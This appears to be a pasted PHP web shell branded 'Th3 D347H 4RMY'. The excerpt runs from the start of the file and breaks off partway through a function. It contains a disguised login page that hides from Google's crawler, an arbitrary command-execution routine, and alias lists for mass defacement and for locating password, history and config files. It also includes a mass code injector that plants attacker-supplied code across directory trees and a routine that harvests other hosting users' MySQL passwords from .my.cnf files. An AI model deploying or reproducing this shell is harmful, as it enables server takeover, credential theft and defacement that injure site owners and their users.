· 9 years ago · Nov 04, 2016, 03:02 PM
1<?php
2
3
4$color = "#56A3E9;text-shadow:blue 0px 0px 10px"; /* "color:White #56A3E9;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size: 50pt;" */
5$default_action = 'FilesMan';
6@define('SELF_PATH', __FILE__);
7if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
8 header('HTTP/1.0 404 Not Found');
9 exit;
10}
11@session_start();
12@error_reporting(0);
13@ini_set('error_log',NULL);
14@ini_set('display_errors',0);
15@ini_set('log_errors',0);
16@ini_set('max_execution_time',0);
17@set_time_limit(0);
18@set_magic_quotes_runtime(0);
19@define('VERSION', 'Ver 4.0');
20if( get_magic_quotes_gpc() ) {
21 function stripslashes_array($array) {
22 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
23 }
24 $_POST = stripslashes_array($_POST);
25}
26function printLogin() {
27 echo '
28
29 <!-- Th3 D347H 4RMY--> <html>
30 <head>
31 <SCRIPT type=text/javascript> function tb8_makeArray(n){ this.length = n; return this.length; } tb8_messages = new tb8_makeArray(3); tb8_messages[0] = "Shell By D34Ds"; tb8_messages[1] = ""; tb8_messages[2] = ""; tb8_rptType = "infinite"; tb8_rptNbr = 5; tb8_speed = 100; tb8_delay = 2000; var tb8_counter=1; var tb8_currMsg=0; var tb8_tekst =""; var tb8_i=0; var tb8_TID = null; function tb8_pisi(){ tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1); document.title = tb8_tekst; tb8_sp=tb8_speed; tb8_i++; if (tb8_i==tb8_messages[tb8_currMsg].length){ tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay; } if (tb8_currMsg == tb8_messages.length){ if ((tb8_rptType == " finite ") && (tb8_counter==tb8_rptNbr)){ clearTimeout(tb8_TID); return; } tb8_counter++; tb8_currMsg = 0; } tb8_TID = setTimeout("tb8_pisi()", tb8_sp); } tb8_pisi() </SCRIPT>
32 <title>Th3 D347H 4RMY</title>
33 <link href="http://fonts.googleapis.com/css?family=Black+Ops+One" rel="stylesheet" type="text/css">
34 <link href="https://fonts.googleapis.com/css?family=Ubuntu+Condensed" rel="stylesheet" type="text/css">
35 <link href="http://fonts.googleapis.com/css?family=Orbitron" rel="stylesheet" type="text/css">
36 <link href="https://fonts.googleapis.com/css?family=Covered+By+Your+Grace" rel="stylesheet" type="text/css">
37 <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
38 <!-- for Facebook -->
39<!-- for Google -->
40<meta name="description" content="Owned by D34Ds" />
41<meta name="keywords" content="You're next" />
42
43<meta name="author" content="N1gh7m4r3" />
44<meta name="copyright" content="Th3 D34Ds" />
45<meta name="application-name" content="Shell" />
46
47
48<!-- for Twitter -->
49<meta name="twitter:card" content="summary" />
50<meta name="twitter:title" content="Th3 D347H 4RMY is Here" />
51<meta name="twitter:description" content="" />
52<meta name="twitter:image" content="" />
53 <style type="text/css">
54 body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url("http://i.imgur.com/P4RWtkc.png"); background-color: #000000; background-size: 100%; background-position: center; background-repeat: no-repeat; color: #FFFFFF; font-family: "Orbitron"; font-size: 14pt; text-align: center; text-decoration: none; } #greets { width: 820px; border-style: outset; } #footer { font-size: 9pt; opacity: .7; } .glow { text-shadow: 0 0 10px #F59700; font-family: "Black Ops One"; } .blueglow { text-shadow: 0 0 10px #0F6FBD; font-family: "Black Ops One" } .whiteglow { text-shadow: 0 0 10px #FFFFFF; font-family: "Black Ops One"; } </style>
55
56 <style type="text/css">
57 /* Circle Text Styles */
58 #outerCircleText {
59 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
60 font-style: italic;
61 font-weight: bold;
62 font-family: "comic sans ms", verdana, arial;
63 color: #FFF;
64 /* End Optional */
65
66 /* Start Required - Do Not Edit */
67 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
68 #outerCircleText div {position: relative;}
69 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
70 /* End Required */
71 /* End Circle Text Styles */
72 </style>
73
74
75
76 <body>
77<embed src="https://www.youtube.com/embed/939ACReWKfE" width="0" height="0">
78 <center>
79<p>
80<h2 style="font-family: Black Ops One" style="font-size:25pt;" >
81 <span class="glow" style="font-size:30pt;" >Th3 D347H 4RMY</span>
82 <br><h1> <span class="blueglow" style="front-size:30pt;" > OWNED BY </span> </h1> </br>
83 </h2>
84 <span class="glow" style="font-size: 70pt;">
85 Th3 D347H 4RMY</span>
86 <span class="blueglow" style="font-size: 20pt;"><br/>D34DS </span></br>
87<br>
88<br><h1>
89<span style="color:White;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size: 50pt;">TH3 D347H 4RMY
90<br> FEEL THE POWER OF D34Ds</span></h1>
91<h1 class="glow"> <br>The world! Fear us!</h1>
92<br> owned </br>
93</strong></font></b></p>
94 <br>
95 <br>
96 <p><b><font color="FFFFFF" face="Covered By Your Grace" size="8" > <strong> <b> YOU ARE NEXT</font></p>
97 <span style="font-size: 20pt; font-family: Black Ops One;" ></span>
98 <br>
99 <br /><font color="FF9933"><b>WE ARE COMING, FROM THE WEST AND EAST, FROM THE NORTH AND SOUTH | EVERYONE, EVERYTHING, ANY PLACE, WILL EXPECT US! </b></font><font color="#138808"><b>| EXPECT US</b></font><br />
100 <script language="JavaScript1.2"> var msg="LEL" var neonbasecolor="white" var neontextcolor="grey" var neontextcolor2="#F59700" var flashspeed=100 </script>
101 </p>
102 <hr />
103 <div id="greets">
104 <span class="blueglow">TEAM MEMBERS</span> <br /> <marquee width=820px scrollAmount=4 scrollDelay=50> <span style="font-size:10pt;">D3m0n N1gh7m4r3 | Cyberl33t | X0MH17 | D4rk N!nj4 | Albanian F34r | P4R4D0X | G48B3R | AN0N.PH30N1X</span> </marquee> </div>
105 </center>
106 </html> <style>input { margin:5;background-color:#000;border:none;color:#0000; cursor:arrow; }</style>
107 <center><form method=post><input type=password name=pass></form>
108</body>
109 ';
110 exit;
111}
112if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
113 if( empty( $auth_pass ) ||
114 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
115 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
116 else
117 printLogin();
118if( strtolower( substr(PHP_OS,0,3) ) == "win" )
119 $os = 'win';
120else
121 $os = 'nix';
122$safe_mode = @ini_get('safe_mode');
123$disable_functions = @ini_get('disable_functions');
124$home_cwd = @getcwd();
125if( isset( $_POST['c'] ) )
126 @chdir($_POST['c']);
127$cwd = @getcwd();
128if( $os == 'win') {
129 $home_cwd = str_replace("\\", "/", $home_cwd);
130 $cwd = str_replace("\\", "/", $cwd);
131}
132if( $cwd[strlen($cwd)-1] != '/' )
133 $cwd .= '/';
134if($os == 'win') {
135 $aliases = array(
136 "Mass Deface" => 'for /r "%cd%" %i in (.) do @copy "%cd%\D34DS.html" "%i"',
137 "Find index.php in current dir" => "dir /s /w /b index.php",
138 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
139 "Show active connections" => "netstat -an",
140 "Show running services" => "net start",
141 "User accounts" => "net user",
142 "Show computers" => "net view",
143 "ARP Table" => "arp -a",
144 "IP Configuration" => "ipconfig /all"
145 );
146} else {
147 $aliases = array(
148 "List dir" => "ls -la",
149 "list file attributes on a Linux second extended file system" => "lsattr -va",
150 "show opened ports" => "netstat -an | grep -i listen",
151 "Find" => "",
152 "find all suid files" => "find / -type f -perm -04000 -ls",
153 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
154 "find all sgid files" => "find / -type f -perm -02000 -ls",
155 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
156 "find config.inc.php files" => "find / -type f -name config.inc.php",
157 "find config* files" => "find / -type f -name \"config*\"",
158 "find config* files in current dir" => "find . -type f -name \"config*\"",
159 "find all writable folders and files" => "find / -perm -2 -ls",
160 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
161 "find all service.pwd files" => "find / -type f -name service.pwd",
162 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
163 "find all .htpasswd files" => "find / -type f -name .htpasswd",
164 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
165 "find all .bash_history files" => "find / -type f -name .bash_history",
166 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
167 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
168 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
169 "Locate" => "",
170 "locate httpd.conf files" => "locate httpd.conf",
171 "locate vhosts.conf files" => "locate vhosts.conf",
172 "locate proftpd.conf files" => "locate proftpd.conf",
173 "locate psybnc.conf files" => "locate psybnc.conf",
174 "locate my.conf files" => "locate my.conf",
175 "locate admin.php files" =>"locate admin.php",
176 "locate cfg.php files" => "locate cfg.php",
177 "locate conf.php files" => "locate conf.php",
178 "locate config.dat files" => "locate config.dat",
179 "locate config.php files" => "locate config.php",
180 "locate config.inc files" => "locate config.inc",
181 "locate config.inc.php" => "locate config.inc.php",
182 "locate config.default.php files" => "locate config.default.php",
183 "locate config* files " => "locate config",
184 "locate .conf files"=>"locate '.conf'",
185 "locate .pwd files" => "locate '.pwd'",
186 "locate .sql files" => "locate '.sql'",
187 "locate .htpasswd files" => "locate '.htpasswd'",
188 "locate .bash_history files" => "locate '.bash_history'",
189 "locate .mysql_history files" => "locate '.mysql_history'",
190 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
191 "locate backup files" => "locate backup",
192 "locate dump files" => "locate dump",
193 "locate priv files" => "locate priv"
194 );
195}
196function ex($in) {
197 $out = '';
198 if(function_exists('exec')) {
199 @exec($in,$out);
200 $out = @join("\n",$out);
201 }elseif(function_exists('passthru')) {
202 ob_start();
203 @passthru($in);
204 $out = ob_get_clean();
205 }elseif(function_exists('system')) {
206 ob_start();
207 @system($in);
208 $out = ob_get_clean();
209 }elseif(function_exists('shell_exec')) {
210 $out = shell_exec($in);
211 }elseif(is_resource($f = @popen($in,"r"))) {
212 $out = "";
213 while(!@feof($f))
214 $out .= fread($f,1024);
215 pclose($f);
216 }
217 return $out;
218}
219function which($p) {
220 $path = ex('which '.$p);
221 if(!empty($path))
222 return $path;
223 return false;
224}
225function printHeader() {
226 if(empty($_POST['charset']))
227 $_POST['charset'] = "UTF-8";
228 global $color;
229 echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Th3 D347H 4RMY''</title>
230 <style>
231 body {background:url(http://i.imgur.com/VGK91ct.png);color:gray;}
232 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
233 span,h1,a { color:'.$color.' !important; }
234 span { font-weight: bolder; }
235 h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
236 div.content { padding: 5px;margin:0 5px;background: 02fcf1;border-bottom:1px #9256e9;}
237 a { text-decoration:none; }
238 a:hover { /*background:aqua;*/ }
239 .ml1 { border:1px #85e956;padding:5px;margin:0;overflow: auto; }
240 .bigarea { width:100%;height:250px;margin-top:5px;}
241 input, textarea, select { margin:0;color:aqua;background-color:#f80909;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
242 input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
243 form { margin:0px; }
244 #toolsTbl { text-align:center; }
245 .toolsInp { width: 80%; }
246 .main th {text-align:left;background-color:#f1972b;font-weight: bold;}
247 .main tr:hover{background-color:#5e5e5e;}
248 .main td, th{vertical-align:middle;}
249 .menu {background: #000;}
250 .menu th{padding:5px;font-weight:bold;}
251 .menu th:hover{background:#7a740b;}
252 .l1 {background-color:#000}
253 pre {font-family:Courier,Monospace;}
254 #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
255 .logo {text-align:center;font-size:60px;}
256 .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
257 .cpr {margin-bottom:5px;font-weight:bold;}
258 .cpb {width:34px;margin:0 5px;}
259 .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
260 .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
261 .npoad td {padding:0;}
262 </style>
263 <script>
264 function set(a,c,p1,p2,p3,charset) {
265 if(a != null)document.mf.a.value=a;
266 if(c != null)document.mf.c.value=c;
267 if(p1 != null)document.mf.p1.value=p1;
268 if(p2 != null)document.mf.p2.value=p2;
269 if(p3 != null)document.mf.p3.value=p3;
270 if(charset != null)document.mf.charset.value=charset;
271 }
272 function g(a,c,p1,p2,p3,charset) {
273 set(a,c,p1,p2,p3,charset);
274 document.mf.submit();
275 }
276 function a(a,c,p1,p2,p3,charset) {
277 set(a,c,p1,p2,p3,charset);
278 var params = "ajax=true";
279 for(i=0;i<document.mf.elements.length;i++)
280 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
281 sr("'.$_SERVER['REQUEST_URI'].'", params);
282 }
283 function sr(url, params) {
284 if (window.XMLHttpRequest) {
285 req = new XMLHttpRequest();
286 req.onreadystatechange = processReqChange;
287 req.open("POST", url, true);
288 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
289 req.send(params);
290 }
291 else if (window.ActiveXObject) {
292 req = new ActiveXObject("Microsoft.XMLHTTP");
293 if (req) {
294 req.onreadystatechange = processReqChange;
295 req.open("POST", url, true);
296 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
297 req.send(params);
298 }
299 }
300 }
301 function processReqChange() {
302 if( (req.readyState == 4) )
303 if(req.status == 200) {
304 //alert(req.responseText);
305 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
306 var arr=reg.exec(req.responseText);
307 eval(arr[2].substr(0, arr[1]));
308 }
309 else alert("Request error!");
310 }
311 </script>
312 <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px #56A3E9;">
313 <form method=post name=mf style="display:none;">
314 <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
315 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
316 <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
317 <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
318 <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
319 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
320 </form>';
321 $freeSpace = @diskfreespace($GLOBALS['cwd']);
322 $totalSpace = @disk_total_space($GLOBALS['cwd']);
323 $totalSpace = $totalSpace?$totalSpace:1;
324 $disable_functions = @ini_get('disable_functions');
325 $release = @php_uname('r');
326 $kernel = @php_uname('s');
327 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
328 if(strpos('Linux', $kernel) !== false)
329 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
330 else
331 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
332 if(!function_exists('posix_getegid')) {
333 $user = @get_current_user();
334 $uid = @getmyuid();
335 $gid = @getmygid();
336 $group = "?";
337 } else {
338 $uid = @posix_getpwuid(@posix_geteuid());
339 $gid = @posix_getgrgid(@posix_getegid());
340 $user = $uid['name'];
341 $uid = $uid['uid'];
342 $group = $gid['name'];
343 $gid = $gid['gid'];
344 }
345 $cwd_links = '';
346 $path = explode("/", $GLOBALS['cwd']);
347 $n=count($path);
348 for($i=0;$i<$n-1;$i++) {
349 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
350 for($j=0;$j<=$i;$j++)
351 $cwd_links .= $path[$j].'/';
352 $cwd_links .= "\")'>".$path[$i]."/</a>";
353 }
354 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
355 $opt_charsets = '';
356 foreach($charsets as $item)
357 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
358 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Infect'=>'Infect','CgiShell'=>'CgiShell','Shared Hostings'=>'Shared','Grab Configs'=>'ConfigGrabber','Safe Mode'=>'Bypass','Sql'=>'Sql','Subdomain'=>'Subdomain','LFI'=>'lfiscan','Brute'=>'Bruteforce','CP' => 'CP','Readable'=>'Readable','Mass Defacer'=>'Deface','Recursive Defacer'=>'Defacer','String tools'=>'StringTools','Jumping'=>'Jumping','Injector'=>'Injector','Connect'=>'Network','Port Scanner'=>'PortScanner','R.D.P'=>'rdp','Domain' => 'Domain');
359 if(!empty($GLOBALS['auth_pass']))
360 $m['Logout'] = 'Logout';
361
362 $menu = '';
363 foreach($m as $k => $v)
364 $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
365 $drives = "";
366 if ($GLOBALS['os'] == 'win') {
367 foreach( range('a','z') as $drive ){
368 if (is_dir($drive.':\\'))
369 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
370 }
371 $drives .= '<br />: ';
372
373 // test start
374
375
376 $m2 = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan');
377 $menu2 = '';
378 foreach($m2 as $k2 => $v2)
379 $menu2 .= '<th><a href="#" onclick="g(\''.$v2.'\',null,\'\',\'\',\'\')">'.$k2.'</a></th>';
380
381
382
383 // test end
384 }
385 if($GLOBALS['os'] == 'nix') {
386 $dominios = @file_get_contents("/etc/named.conf");
387 if(!$dominios) {
388 $d0c = "CANT READ named.conf";
389 } else {
390 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
391 $out = sizeof(array_unique($out[1]));
392 $d0c = $out." Domains";
393 }
394 } else {
395 $d0c = " --- ";
396 }
397 if($GLOBALS['os'] == 'nix' )
398 {
399 $usefl = ''; $dwnldr = '';
400 if(!@ini_get('safe_mode')) {
401 $temp = array();
402 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
403 foreach($userful as $item) { if(which($item)) $temp[]= $item; }
404 $usefl = implode(', ',$temp);
405 $temp = array();
406 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
407 foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
408 $dwnldr = implode(', ',$temp);
409 } else {
410 $usefl = ' ------- '; $dwnldr = ' ------- ';
411 }
412 } else {
413 $usefl = ' ------- '; $dwnldr = ' ------- ';
414 }
415
416 echo '<table class="info" cellpadding="0" cellspacing="0" width="100%" bgcolor="black"><tr><td width="160px"><img src="https://s10.postimg.org/guf90ldix/new.png" height="150" width="150"><sup>®</sup></div></td>
417 <td><table cellpadding="0" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).' <a href="' . $explink . '" target=_blank>[exploit-db.com]'.'</nobr></td></tr>
418 <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
419 '<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
420 '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
421 '</div></div><div style="margin:1;background #000;"><div class="content" style="border-top:1px #56A3E9;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'.</tr></table></div></div><div style="margin:2;background:#000;">'
422 .'<div style="margin:1;background #000;"><div class="content" style="border-top:1px #56A3E9;padding:2px;">';
423 // menu2 is there but cant set it :(
424 }
425
426
427function actionInjector(){
428 printHeader();
429 echo '<center><h1>Mass Code Injector By Th3 D347H 4RMY </h1></center>';
430 echo '<div class="content">';
431
432 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
433 function get_structure($path,$depth) {
434 global $DS;
435 $res = array();
436 if(in_array(0, $depth)) { $res[] = $path; }
437 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
438 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
439 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
440 }
441 if(in_array(2, $depth) or in_array(3, $depth)) {
442 $tmp2 = array();
443 foreach($tmp1 as $t){
444 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
445 $tmp2 = array_merge($tmp2, $tp2);
446 }
447 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
448 }
449 if(in_array(3, $depth)) {
450 $tmp3 = array();
451 foreach($tmp2 as $t){
452 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
453 $tmp3 = array_merge($tmp3, $tp3);
454 }
455 $res = array_merge($res,$tmp3);
456 }
457 return $res;
458 }
459
460 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
461 $name = $_POST['name'] ? $_POST['name'] : '*';
462 $type = $_POST['type'] ? $_POST['type'] : 'html';
463 $path = $_POST['path'] ? $_POST['path'] : getcwd();
464 $code = $_POST['code'] ? $_POST['code'] : '3xp1r3 Cyber Army';
465 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
466 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
467 $dt = get_structure($path,$depth);
468 foreach ($dt as $d) {
469 if($mode == 'a') {
470 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
471 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#e5ee29;"> was injected</span></div>';
472 } else {
473 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
474 }
475 } else {
476 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
477 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#e5ee29;"> was injected</span></div>';
478 } else {
479 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
480 }
481 }
482 }
483 } else {
484 echo '<form method="post" action="">
485 <table align="center">
486 <tr>
487 <td>Directory : </td>
488 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
489 </tr>
490 <tr>
491 <td class="title">Mode : </td>
492 <td>
493 <select style="width: 100px;" name="mode" class="box">
494 <option value="a">Apender</option>
495 <option value="w">Overwriter</option>
496 </select>
497 </td>
498 </tr>
499 <tr>
500 <td class="title">File Name & Type : </td>
501 <td>
502 <input type="text" style="width: 100px;" name="name" value="*"/>
503 <select style="width: 100px;" name="type" class="box">
504 <option value="html">HTML</option>
505 <option value="htm">HTM</option>
506 <option value="php" selected="selected">PHP</option>
507 <option value="asp">ASP</option>
508 <option value="aspx">ASPX</option>
509 <option value="xml">XML</option>
510 <option value="txt">TXT</option>
511 </select></td>
512 </tr>
513 <tr>
514 <td class="title">Code Inject Depth : </td>
515 <td>
516 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
517 <input type="checkbox" name="depth[]" value="1"/> 1
518 <input type="checkbox" name="depth[]" value="2"/> 2
519 <input type="checkbox" name="depth[]" value="3"/> 3
520 </td>
521 </tr>
522 <tr>
523 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
524 </tr>
525 <tr>
526 <td colspan="2" style="text-align: center;">
527 <input type="hidden" name="a" value="Injector">
528 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
529 <input type="hidden" name="p1">
530 <input type="hidden" name="p2">
531 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
532 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
533 </tr>
534 </table>
535 </form>';
536 }
537 echo '</div>';
538 printFooter();
539}
540
541
542function actionCP() {
543
544printHeader();
545
546
547echo "<html>
548<style type='text/css'>
549 body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url(' ');
550 <style type='text/css'>
551 /* Circle Text Styles */
552 #outerCircleText {
553 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
554 font-style: italic;
555 font-weight: bold;
556 font-family: 'comic sans ms', verdana, arial;
557 color: #FFF;
558 /* End Optional */
559
560 /* Start Required - Do Not Edit */
561 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
562 #outerCircleText div {position: relative;}
563 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
564 /* End Required */
565 /* End Circle Text Styles */
566 </style>
567
568
569<center><marquee bgcolor='black' width='30%'><span style='font-size: 25px;'><b>
570<span style='color:#29eea0;font-family:Iceland;text-shadow:#29eed3 0px 0px 5px' 'font-size:='' 20pt;'=''>Shell By Th3 D347H 4RMY</span></marquee></center>
571<body>";
572
573@ini_set('display_errors',0);
574function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
575 $ar0=explode($marqueurDebutLien, $text);
576 $ar1=explode($marqueurFinLien, $ar0[$i]);
577 return trim($ar1[0]);
578}
579 echo "<center>";
580$d0mains = @file('/etc/named.conf');
581$domains = scandir("/var/named");
582
583if ($domains or $d0mains)
584{
585 $domains = scandir("/var/named");
586 if($domains) {
587echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
588$count=1;
589$dc = 0;
590$list = scandir("/var/named");
591foreach($list as $domain){
592if(strpos($domain,".db")){
593$domain = str_replace('.db','',$domain);
594$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
595$dirz = '/home/'.$owner['name'].'/.my.cnf';
596$path = getcwd();
597
598if (is_readable($dirz)) {
599copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
600$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
601$password=entre2v2($p,'password="','"');
602echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
603$dc++;
604}
605
606}
607}
608echo '</table>';
609$total = $dc;
610echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
611echo '</center>';
612}else{
613$d0mains = @file('/etc/named.conf');
614 if($d0mains) {
615echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
616$count=1;
617$dc = 0;
618$mck = array();
619foreach($d0mains as $d0main){
620 if(@eregi('zone',$d0main)){
621 preg_match_all('#zone "(.*)"#',$d0main,$domain);
622 flush();
623 if(strlen(trim($domain[1][0])) >2){
624 $mck[] = $domain[1][0];
625 }
626 }
627}
628$mck = array_unique($mck);
629$usr = array();
630$dmn = array();
631foreach($mck as $o) {
632 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
633 $usr[] = $infos['name'];
634 $dmn[] = $o;
635}
636array_multisort($usr,$dmn);
637$dt = file('/etc/passwd');
638$passwd = array();
639foreach($dt as $d) {
640 $r = explode(':',$d);
641 if(strpos($r[5],'home')) {
642 $passwd[$r[0]] = $r[5];
643 }
644}
645$l=0;
646$j=1;
647foreach($usr as $r) {
648$dirz = '/home/'.$r.'/.my.cnf';
649$path = getcwd();
650if (is_readable($dirz)) {
651copy($dirz, ''.$path.'/'.$r.'.txt');
652$p=file_get_contents(''.$path.'/'.$r.'.txt');
653$password=entre2v2($p,'password="','"');
654echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
655$dc++;
656 flush();
657 $l=$l?0:1;
658 $j++;
659 }
660 }
661 }
662echo '</table>';
663$total = $dc;
664echo '<br><div class="result">Total Found = '.$total.'</h3><br />';
665echo '</center>';
666
667}
668}else{
